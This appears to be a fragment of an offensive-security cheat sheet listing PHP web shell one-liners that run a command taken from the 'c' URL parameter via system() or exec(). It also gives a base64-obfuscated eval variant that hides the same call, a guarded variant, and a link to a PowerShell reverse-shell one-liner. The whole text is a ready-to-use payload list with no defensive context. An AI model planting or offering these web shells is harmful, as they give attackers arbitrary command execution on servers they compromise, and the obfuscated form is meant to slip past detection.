PHP

Simple 'cmd' exec

echo system($_GET['c']);

echo exec($_GET['c']);

Base64 encoded:

eval(base64_decode('ZWNobyBzeXN0ZW0oJF9HRVRbJ2MnXSk7'));

With if

if (isset($_GET["c"])) { echo system($_GET['c']); }

External References

• Invoke-PowerShellTcpOneLine.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1